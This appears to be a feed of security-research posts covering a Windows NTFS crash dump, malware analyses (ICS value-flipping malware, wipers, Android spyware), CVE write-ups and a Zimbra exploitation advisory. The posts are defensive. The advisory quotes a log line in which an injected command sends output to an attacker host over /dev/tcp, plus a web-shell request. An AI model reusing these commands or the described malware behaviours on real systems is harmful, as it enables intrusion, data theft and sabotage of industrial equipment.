STACK_TEXT:  
ffffe180`efdef068 fffff806`959ace42     : ffffe180`efdef0e8 00000000`00000001 00000000`00000080 fffff806`95ab7901 : nt!DbgBreakPointWithStatus
ffffe180`efdef070 fffff806`959ac36c     : 00000000`00000003 ffffe180`efdef1d0 fffff806`95ab7b00 ffffe180`efdef790 : nt!KiBugCheckDebugBreak+0x12
ffffe180`efdef0d0 fffff806`958f6537     : 00000000`00000000 fffff806`957d1cb6 ffff8f8d`385d1000 00000000`00000000 : nt!KeBugCheck2+0xb2c
ffffe180`efdef860 fffff806`957d194c     : 00000000`00000050 ffff8f8d`385d1000 00000000`00000002 ffffe180`efdefb00 : nt!KeBugCheckEx+0x107
ffffe180`efdef8a0 fffff806`95640510     : 00000000`00000000 ffff8000`00000000 ffff8f8d`385d1000 0000007f`fffffff8 : nt!MiSystemFault+0x7a0
ffffe180`efdef990 fffff806`95aacfcb     : 00000000`00000000 00000000`00000000 00000000`00000008 00000000`00000000 : nt!MmAccessFault+0x630
ffffe180`efdefb00 fffff806`28a319a0     : ffffe180`efdeff90 00000000`00000001 ffff8f8d`356279b8 00000000`00000001 : nt!KiPageFault+0x38b
ffffe180`efdefc90 fffff806`28a30f6f     : 00000000`00a8942b ffffe180`efdf08f0 ffff8f8d`357c85d8 00000000`000000e0 : Ntfs!PageUpdateAnalysis+0x140
ffffe180`efdefe10 fffff806`28a95000     : ffff8f8d`3514b7c8 ffff8f8d`357c81b0 00000000`00000000 ffffe180`efdeff90 : Ntfs!AnalysisPass+0x22b
ffffe180`efdeff30 fffff806`28a1c3be     : ffff8f8d`3514b988 00000000`00000001 ffff8f8d`3514b7c8 ffff8f8d`3514b988 : Ntfs!NtfsRestartVolume+0xbc
ffffe180`efdf00a0 fffff806`28a19f86     : 00000000`00000000 00000000`00000000 00000000`00000000 ffff8f8d`2e5950b8 : Ntfs!NtfsMountVolume+0x1816
ffffe180`efdf07e0 fffff806`2888e639     : ffff8f8d`3514b7c8 ffffe180`efdf08f0 00000000`00000008 ffff8f8d`2e595040 : Ntfs!NtfsCommonFileSystemControl+0xb6
ffffe180`efdf08c0 fffff806`956db7ec     : ffff8f8d`2e595040 ffff8f8d`2e595040 ffff8f8d`2a757ae0 fffff806`2888e020 : Ntfs!NtfsFspDispatch+0x619
ffffe180`efdf0a10 fffff806`95881afa     : ffff8f8d`2e595040 ffff8f8d`2e595040 fffff806`956db200 ffff8f8d`2a757ae0 : nt!ExpWorkerThread+0x5ec
ffffe180`efdf0bf0 fffff806`95a9ef84     : fffff806`2625e180 ffff8f8d`2e595040 fffff806`95881aa0 00000000`00000000 : nt!PspSystemThreadStartup+0x5a
ffffe180`efdf0c40 00000000`00000000     : ffffe180`efdf1000 ffffe180`efdeb000 00000000`00000000 00000000`00000000 : nt!KiStartSystemThread+0x34

SYMBOL_NAME:  Ntfs!PageUpdateAnalysis+140

MODULE_NAME: Ntfs

IMAGE_NAME:  Ntfs.sys

IMAGE_VERSION:  10.0.26100.6899

STACK_COMMAND: .process /r /p 0xffff8f8d2a691040; .thread /r /p 0xffff8f8d2e595040 ; kb

BUCKET_ID_FUNC_OFFSET:  140

FAILURE_BUCKET_ID:  AV_VRF_Ntfs!PageUpdateAnalysis

OS_VERSION:  10.0.26100.1

BUILDLAB_STR:  ge_release

OSPLATFORM_TYPE:  x64

OSNAME:  Windows 10

FAILURE_ID_HASH:  {9d54520b-212c-9f3b-ad4b-052c7a9e7f7e}

Followup:     MachineOwner
---------
</pre>

The following exploitation is trivial.

Disclosure Timeline

• September 23, 2025 The vendor was notified of the vulnerability and provided with a technical report.
• September 25, 2025 The vendor completed its internal triage and confirmed the vulnerability. Preliminary timelines for the fix and advisory were provided.
• September 26, 2025 The vendor was notified of the planned public disclosure.
• January 13, 2026 Security updates were released and the advisory was published.

e014dadf6d93b312b93e2fc857791c241692da4015da7a24a4d42a946551add2

Our attention was drawn to a message from the account that uploaded this sample:

Hmm, ICS malware, and it already has a ready-made name — S7Flip (so we don’t even need to strain our imagination to name it)? Sounds interesting! Let’s take a look at what’s inside.

After establishing persistence in autorun under the name aphp.exe, the sample begins collecting addresses of devices on the local network — these are addresses 192.168.*.*, 10.*.*.*, and 172.*.*.* — after which it checks them for the presence of certain open ports that are widely used by industrial devices:

• 102 — mainly used by Siemens controllers for communication via the S7Comm or S7Comm+ protocol.
• 502 — the standard port for the Modbus TCP protocol; it can be used by devices from any manufacturer.
• 44818 — mainly used by Allen-Bradley (Rockwell) controllers for communication via the EtherNet/IP (CIP) protocol.

Connecting to Allen-Bradley (Rockwell) devices effectively does not work. There is no implementation of a client for EtherNet/IP (CIP): the branch reuses the Siemens client and attempts to connect via port 102 as if to a Siemens controller. A connection to a real Allen-Bradley will not be established — no impact is exerted at all on devices that have only opened port 44818.

Having identified the required devices, S7Flip connects to them and begins applying one of the destructive mechanisms (or both at once).

Mechanism 1: “randomize” of values

Via S7Comm (port 102): it iterates through DB blocks 1–10 one by one; for each, it selects a random offset 0–99, reads a 4-byte integer from there, adds a random integer from −10 to +10, and writes it back.

Via Modbus TCP (port 502): it selects a 16-bit holding register at a random address 0–99, reads the current value, adds a random integer from −10 to +10, and writes it back.

Mechanism 2: bit inversion (findAndModifyInputs)

Via S7Comm (port 102): it sequentially goes through the first 100 bytes in DB blocks 1–10: reads a byte, flips its least significant bit to the opposite value, and writes it back.

Via Modbus TCP (port 502): it sequentially goes through single-bit write cells (coils — discrete outputs, commands, flags) in the range 0–255: reads a bit, flips it to the opposite value, and writes it back.

Each change is written to logs.csv next to the executable file and contains five columns — time, tag, vendor, old value, and new value.

In addition to this binary, we also found another one:

88717716e54b35682a28d673764975d439a31ee194c85dfc619a15ea93ab1280

In terms of its operating logic, it is no different from the sample examined earlier. The main difference is that the libmodbus library, which implements the Modbus protocol, is dynamically linked in e014dadf6d93b312b93e2fc857791c241692da4015da7a24a4d42a946551add2, while in 88717716e54b35682a28d673764975d439a31ee194c85dfc619a15ea93ab1280 it is statically linked.

On the same day, from the same account jeans, in addition to e014dadf6d93b312b93e2fc857791c241692da4015da7a24a4d42a946551add2 (file name — Edge.exe), another binary was uploaded:

2c57c1a39933514c63b5a7b585f5948ead04b65e4df96fb595ccda84208c4aa0

On closer inspection, it turned out to be a wiper. When launched, it gentlemanly asks whether you would like to install Microsoft Edge:

And if you decline, the wiper stops its work 😅

But if you agree… then be prepared for “unforeseen circumstances.” Here is the list:

• recursive deletion of all contents of the %USERPROFILE%\Desktop folder;
• a file compiled-desktop will also be created there, containing exactly 1 048 576 random bytes;
• and, of course, a README.txt file with a polite request to transfer bitcoins in the amount of 100 dollars.

After all this, the malware adds itself to autorun.

File decryption is not provided for: the contents of the desktop are not saved anywhere. This is a pseudo-ransomware wiper.

The most interesting thing is that README.txt specifies a wallet to which the attackers propose to send the money: bc1qp6ejw8ptj9l9pkscmlf8fhhkrrjeawgpyjvtq8 — this is the official donation wallet for the Bitcoin.org project. That is, the scammers don’t actually want a ransom? Hmm, interesting… 🤑

A little later, jeans uploaded another variant of this tool — f47502628708300840efe2771a3c5e7e9a631205512f0a2ee6382a00a92056e2, and this time the file is named not Edge.exe but Edgev5.exe.

Does v5 signify some kind of development or further improvement of the malware? Yes, in the new version the author added symmetric file encryption using AES-256-GCM, and also expanded the number of folders for encryption: now, in addition to Desktop, Downloads and Documents are also subject to encryption. True, there is one nuance… the key for decrypting the data is located in the master_key.dat file, and the bitcoin wallet is the same as in the earlier version of the wiper.

Apparently, the author of the malware is actively developing and testing their tool. It is possible that in the future they will begin actively using it in a “combat” form.

So what is the connection between S7Flip and the wipers? 🧐

While reading this post, you may have wondered: “how are S7Flip and the wiper connected to each other?” And in fact, there are certain coincidences:

• all binaries were compiled using the GCC 16.2.0 toolchain;
• the build timestamp of the PE files 88717716e54b35682a28d673769475d439a31ee194c85dfc619a15ea93ab1280 (S7Flip) and 2c57c1a39933514c63b5a7b585f5948ead04b65e4df96fb595ccda84208c4aa0 (Edge.exe) matches to within a day — 2026-09-13;
• the shared account from which the files were uploaded to MalwareBazaar is jeans.

Is this data sufficient to assert that S7Flip and the wipers were developed by the same author? No, certain doubts still remain, but there is nonetheless some connection.

IoCs

#malware #win #ioc
@ptescalator

After installing it, we discovered that upon launch, the user is greeted by the interface of a well-known Android call management app — Right Dialer by developer Goodwy.

Most likely, the attackers chose this particular app because it requests a large number of permissions: working with contacts, making calls, accessing the camera, and so on.

Opening AndroidManifest.xml, it is easy to see that the main package is com.syscore.toolsuite, not com.goodwy.dialer. This means that the Goodwy code was embedded into someone else’s app — the already known Android spyware LunaSpy, an earlier version of which was examined in an article.

Before conducting a static analysis of the sample, we ran it in the PT Sandbox sandbox to get a general idea of how the malware operates:

Key observations from the dynamic analysis:

• Communication with command-and-control servers
• Obtaining privileges
• Creating hidden files

The attackers expanded their spyware with a number of new commands (as the saying goes, if you use Accessibility Service, then use it to the fullest):

• GET_CALL_RECORDINGS — sends to the command-and-control server a list of file names by iterating over files with the .wav extension whose size is greater than 44 bytes (the size of the WAV header) in the getFilesDir()/call_recordings directory
• DOWNLOAD_CALL_RECORDING — sends to the command-and-control server a call recording with the specified id, encoded in Base64
• SET_REDIRECT_RULES, GET_REDIRECT_RULES — substitution of outgoing calls according to rules received from the command-and-control server
• More commands for managing device logging have been added: REQUEST_LOGS, CLEAR_LOGS, LOGGING_ENABLE, LOGGING_DISABLE
• RESET_SOFT, RESET_DEEP, RESET_GLOBAL — restart of some or all of the spyware’s auxiliary services
• RESET_REBOOT — simulation of a device reboot (upon receipt — stops its services, cancels WorkManager tasks, simulates a system boot delay (8 seconds), after which it restarts the services)
• GET_SCREEN_TREE — get the parameters of the current screen: width, height, objects on the screen, their positions, text, and properties
• Complex commands with parameters for controlling the device (simulating user actions): PERFORM_TAP (perform a tap on the screen), PERFORM_SWIPE (swipe across the screen), PERFORM_INPUT_TEXT (perform text input), PERFORM_PATH_GESTURE (perform a gesture along specified positions with a certain press duration), PERFORM_PATTERN_UNLOCK (the command is similar to PERFORM_PATH_GESTURE, but is intended for adaptive patterns, for example, pattern-based unlock), PERFORM_BACK (perform the “back” action), PERFORM_HOME (perform a transition to the home screen), PERFORM_RECENTS (view the list of recent apps) — commands that actively use the functions of PerformGlobalAction and the GestureDescription mechanism
• REVIVE_PERMISSIONS — shows the user a notification on top of all windows for the purpose of obtaining android.permission.CAMERA and android.permission.RECORD_AUDIO permissions
• DISABLE_PLAY_PROTECT — disable a global setting in Android (Settings.Global.PACKAGE_VERIFIER_ENABLE) that controls the verification of apps before they are installed

In addition, a number of strings (for example, IP addresses, names of some commands) are encrypted using the XOR algorithm to complicate analysis.

Malware demonstrates a persistent trend toward evolution: from simple espionage to comprehensive device control with anti-detection elements, scalable infrastructure, and advanced social engineering techniques. This requires users and security professionals to constantly raise their level of protection and vigilance.

Precautions:

• You should not download open-source applications from unknown sources, as they can easily be modified. It is better to download them from Google Play or get the latest release from the developer’s page.
• Do not grant applications permissions they do not need (especially the Accessibility Service permission).
• If you suspect malware infection, check the list of installed applications or use activity monitoring tools.

File indicators

Network indicators

#malware #android
@ptescalator

We helped Apple fix a vulnerability in the kernel of its operating systems

PT ESC expert Mikhail Lozhnikov discovered a flaw that could cause a sudden system shutdown (kernel panic) or kernel memory corruption in Apple products.

⚠️ Vulnerability PT-2026-76847 (CVE-2026-65330) received a medium severity level — 6.5 on the CVSS 3.x scale.

Sharing the details

• The bug was discovered in the BSD subsystem of the XNU network stack (the macOS and iOS kernel) in the NECP (Network Extension Control Policy) component, which manages access rights of programs and applications to network interfaces.

• Interacting with NECP requires a process with privileged rights that is digitally signed (platform-signed).

• When an NECP session is closed, the kernel correctly frees the domain filters, but the domain trie (a prefix tree of domains) remains in the global list with a pointer to the already freed session memory.

• When a trie is deleted by identifier (ID), the kernel does not verify the owner.

• Any other session can delete someone else’s prefix tree, which can result in an error and cause the kernel to panic.

🍏 Update your devices as soon as possible

Apple has already released a security fix in iOS/iPadOS 26.6.1, macOS 26.6.2, tvOS 27, watchOS 27 and visionOS 27.

Detailed information about the fixes has been published on Apple’s official pages: macOS, iOS and iPadOS, tvOS, watchOS and visionOS.

#cve #ir #ios #macos
@ptescalator

When investigating incidents where attackers encrypt virtual machine images, a situation often arises in which the file system is damaged to such an extent that standard mounting becomes impossible.

Restoring it manually is theoretically possible, but it takes a lot of time and is accompanied by data loss. In such cases, carving is used — a byte-by-byte search for signatures directly in the raw image, bypassing the file system.

❗️ The PT ESC IR team prioritizes automating the parsing of artifacts for subsequent detection of malicious activity — this speeds up reconstructing the picture of the incident.

Our pipeline is predominantly implemented in Go, so we developed our own library in the same language. It parses ready-made EVTX files even when checksums do not match or the file is damaged, and also performs carving of events from bitwise copies, memory dumps, and virtual disk images.

For more on what can be recovered and why some approaches yield the full record structure while others yield only individual fields, read our article on Habr 🫲

#ir #dfir #tip
@ptescalator

Malicious files with these extensions are most often found in corporate network traffic. Let’s take a basic look at why.

🖥 .exe — the classic executable file extension in Windows: double-click — and you launch Fortnite (no judgment), your browser, your favorite messenger, an installer, or any other program. Or you might launch a Trojan or some other piece of malware.

Most of the time you don’t even see that the file has this extension: by default, Windows has the “Hide extensions for known file types” feature enabled, so you only see the first part of the name. And attackers take advantage of this.

For example, they disguise a file as something harmless: instead of zarplaty_sep_2026.pdf.exe, you’ll just see zarplaty_sep_2026.pdf. It doesn’t raise suspicion, but it does spark curiosity. Click-click — and boom.

Anyway, for self-protection we recommend disabling this feature. It’s easy to do, and you’ll always know exactly what you’re clicking on.

📄 .docm and .xlsm — and these are the Microsoft Office document extensions familiar to every office worker. They’re often sent around via email, chats, and USB drives, so they usually don’t raise suspicion.

But something’s off with the last letters of these extensions — you might say, and you’d be right. Instead of an x at the end, there’s an m, which means these documents support macros — small programs in a special language called VBA that can perform actions inside the document. You may also come across the extensions .dotm and .xltm — these are document templates with macro support.

And just like with .exe, these extensions are hidden by default in Windows file names, so you just see the document icon and its name.

Macros are a useful thing that helps automate routine actions in documents (enthusiasts have even managed to run DOOM right inside Word with them).

But attackers use them too: you open what seems like an ordinary file, allow macros — and the commands embedded in them execute on your computer. For example, they can run a system command that downloads and launches another piece of malware.

So here’s why we decided to explain all this

1️⃣ Carefully watch what exactly you’re launching and what permissions you’re granting.

2️⃣ Our experts, using the PT Sandbox sandbox, analyzed malicious activity detected by PT NAD in the network traffic of organizations from October 2025 to July 2026. And 29% of dangerous files turned out to have the .exe, extension, while 26% had Microsoft Office extensions.

3️⃣ As you can imagine, these files are just the tip of the malware iceberg. Below in the networks, potentially dangerous tools that look legitimate were also discovered, along with various archive variations and more interesting finds.

You can read about them in the full version of the study on our website.

#malware
@ptescalator

During attacks, the threat actors pursue destructive goals while maintaining a presence in the compromised infrastructure for a fairly long time.

For lateral movement within the infrastructure, they primarily use WinRM (usually in combination with WinRb) and SSH.

For persistence in the infrastructure, they mainly use server machines with high uptime (Windows\Linux); persistence is achieved via services in both cases. A wide range of tools is used as payloads:

• Agents for the merlin framework.
• An agent based on reverse_ssh.
• The GoSocks5Proxy utility based on go-socks5.
• ReverseProxy — a proprietary utility written in Rust.
• The GoRinet backdoor. It uses config encryption with a key derived from the physical address of the network adapter.

🐻 Various software is used to carry out destructive actions, including some that, by a number of indications, was developed using AI.

• The T-Riper wiper for network devices manufactured by Cisco/Huawei — deleting images, resetting device configuration, rebooting. They are used in combination with bash scripts for execution against remote targets.
• A custom wiper for remotely deleting QNAP data.
• To encrypt data on machines running Windows OS, a malware suite is used consisting of an orchestrator (with the ability to send encryption progress reports to a remote C2). Wiper generation is performed in a multithreaded manner, with individual executables created by adding “junk” to the overlay to evade detection. For automated propagation across the network, config files are used that specify known credentials from previously compromised accounts and target subnets.

The use of the CVE-2026-31431 vulnerability (CopyFail) for privilege escalation has also been noted, along with the custom tool CredsReseter for resetting passwords of Linux-like system accounts and Windows scripts for dumping credentials of third-party services.

Recommendations:

• Search for and monitor indicators of compromise.
• Perform signature scanning.
• Update the OS.

IoCs

File indicators:

Network indicators

#ir #dfir #ti #malware #apt #ioc
@ptescalator

Disclaimer: if you are using an outdated version of Zimbra software and have not found the below indicators of compromise for this specific TargetZimbra encryptor campaign on your mail server, this does not mean that your server is guaranteed not to be compromised. The vulnerability CVE-2026-73570 may be used by other threat actors, for example, to install miners, as well as by APT groups aimed at compromising the infrastructure of an entire organization.

The vulnerability CVE-2026-73570 allows an attacker to inject and execute malicious commands on a Zimbra mail server with the privileges of the zimbra user without prior authentication as a result of insufficient input sanitization in the SNMP component.

For successful exploitation, the mail server must have a version of Zimbra Collaboration Suite below 10.1.20 installed, as well as the zimbra-snmp package installed and SNMP notifications enabled. The vulnerability is exploited by sending a specially crafted SMTP request through ports 25, 465, or 587.

👀 Attack scenario:

1. As a result of exploiting the vulnerability CVE-2026-73570, the threat actors create on the mail server the file /opt/zimbra/jetty_base/webapps/zimbra/public/version.txt (or versions.txt), containing information about the version of Zimbra software used on the server. The created file is an indicator for the attacker of successful exploitation of the vulnerability.

2. At the next stage, the threat actors upload JSP shells to the mail server directory /opt/zimbra/jetty_base/webapps/zimbra/public/. In addition, the deployment of the hacking tool Gsocket onto the server was recorded. We have previously written a detailed note about how to detect the Gsocket tool.

3. Next, the threat actors upload the TargetZimbra encryptor, written in the Go language. After launch, this malicious module encrypts files using the ChaCha20 algorithm in the /opt/zimbra/ directory and its subdirectories.

4. After encrypting the files, the encryptor changes their extension to .elock, and also creates in the encrypted directories the files !README_RECOVER.txt, containing contact information and details for paying a ransom to decrypt the data. Upon completion, the malicious module TargetZimbra deletes itself from the system.

📫 How to check your Zimbra mail server for signs of compromise?

1. In the main system log of the mail service /var/log/maillog, entries containing the substring changed from stopped to, preceded by a shell command or other suspicious payload, are a sign of exploitation of the vulnerability CVE-2026-73570.

The following command can be used to search for malicious events on your server: grep "changed from stopped to" /var/log/maillog

Example of executing the id command and transmitting its output to the attackers’ C2 server:

Aug 29 14:23:46 zimbra-server postfix/submission/smtpd[108829]: improper command pipelining after EHLO from unknown[[REDACTED_IP_1]]: : Service status change: h ;id>/dev/tcp/[REDACTED_IP_2]/1337; changed from stopped to running\r\nQUIT\r\n  

- time of vulnerability exploitation: August 29, 2026 at 14:23:46; 
- [REDACTED_IP_1]: C2 address of the threat actors; 
- id>/dev/tcp/[REDACTED_IP_2]/1337: command to execute on the system.

2. The presence of non-standard JSP files that do not belong to the Zimbra software and were created or modified over the past months in the directory /opt/zimbra/jetty_base/webapps/zimbra/ and all its subdirectories. Characteristic signs of malicious JSP files are the presence of obfuscated code, encoded strings, as well as atypical handling of GET and POST requests.

The following commands can be used to search for recently created or modified JSP files on your server:

find /opt/zimbra/jetty_base/webapps/zimbra/ -type f -iname '*.jsp' -newermt '2026-07-01' (search by file modification date)

find /opt/zimbra/jetty_base/webapps/zimbra/ -type f -iname '*.jsp' -newerBt '2026-07-01' (search by file creation date)

Note that not all Linux file systems store the file creation date. If the system does not track this timestamp, the find command will return an error.

Also scan the server with antivirus tools.

3. In the WEB server access log (for example, for the Nginx WEB server the standard location is /var/log/nginx/access.log), entries about access to non-standard JSP files (with response code 200) located in the directory /opt/zimbra/jetty_base/webapps/zimbra/ and all its subdirectories (in particular, the frequently used directory /opt/zimbra/jetty_base/webapps/zimbra/public/) may indicate the presence of WEB shells on the mail server. If the WEB shell receives commands via a GET request, the transmitted command will be displayed in the log.

Example of output of the result of executing the ls command to the attacker’s browser:

[REDACTED_IP] - - [29/Aug/2026:12:41:35 +0000] GET /public/bzng.jsp?p=ls HTTP/1.0 200 443 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 34889  

- [REDACTED_IP]: C2 address of the threat actors; 
- [29/Aug/2026:12:41:35 +0000]: time of access to the WEB shell; 
- public/bzng.jsp: location of the WEB shell; 
- ls: command being executed.

In addition, while investigating the network infrastructure of the threat actors, we discovered WEB panels of the CyberStrikeAI platform hosted on several C2 servers (screenshots 1 and 2).

CyberStrikeAI is an open platform designed to automate penetration testing using AI.

The presence of a working platform on the attackers’ C2 server may indicate its use both at individual stages of the attack (for example, initial server compromise) and throughout the entire incident.

💡 We recommend:

1. Update the Zimbra software on your mail server to the current version. Ideally, also reinstall the server OS while migrating all mail data.

2. If a quick software update is not possible, a temporary solution may be to disable SNMP notifications and remove the zimbra-snmp package.

3. In addition, scan the mail server with antivirus tools, and also manually inspect non-standard JSP files created in recent months in Zimbra service directories.

File indicators of compromise:

/opt/zimbra/jetty_base/webapps/zimbra/public/version.txt or versions.txt — a file containing the Zimbra software version;

/opt/zimbra/jetty_base/webapps/zimbra/public/[Filename].jsp — WEB-shell;

/opt/zimbra/log/defunct — Gsocket;

elockc[a-z] (for example, elockcl) — ransomware;

runloop.sh — a script created by the ransomware;

!README_RECOVER.txt — a note from the attackers;

*.elock — files with the .elock extension.

Network indicators of compromise:

135.136.63.63
139.28.49.138
146.70.169.246
193.24.211.91
193.32.126.168
31.177.110.136
37.32.73.156
64.62.156.162
64.62.156.222
64.62.156.94
88.214.21.183
89.116.171.182
89.117.94.35

Gsocket:

*.gs.thc.org
gsocket.io
152.53.173.29
152.53.173.30
176.65.149.52
212.132.98.170
217.154.53.116
217.154.53.187
45.90.4.121
45.90.4.128
51.91.190.241
51.91.190.242

#IR #CVE #Malware #detect #dfir #ioc
@ptescalator

The cyber intelligence group of Positive Technologies’ expert security center has discovered a new group that we have named DENOmination Group.

In 2026, we recorded its activity against Russian organizations in the defense-industrial, military, financial, and consulting sectors.

The key feature of the attacks is the use of the legitimate Deno runtime to execute malicious JavaScript/TypeScript code. In the investigated chains, we observed the DinDoor loader, the DenoRAT remote access agent, malicious MSI and LNK files, rotation of C2 infrastructure, and several related methods of initial delivery.

Overlaps in the codebase, configuration parameters, chain construction logic, and network infrastructure allowed us to link the observed episodes to the activity of a single group.

In the study, we analyzed the architecture of DinDoor and DenoRAT, the mechanisms of persistence and interaction with C2, infrastructure overlaps, TTPs, and a possible model of a shared platform being used by multiple operators.

Details — in our blog 🦖

#TI #APT #Malware
@ptescalator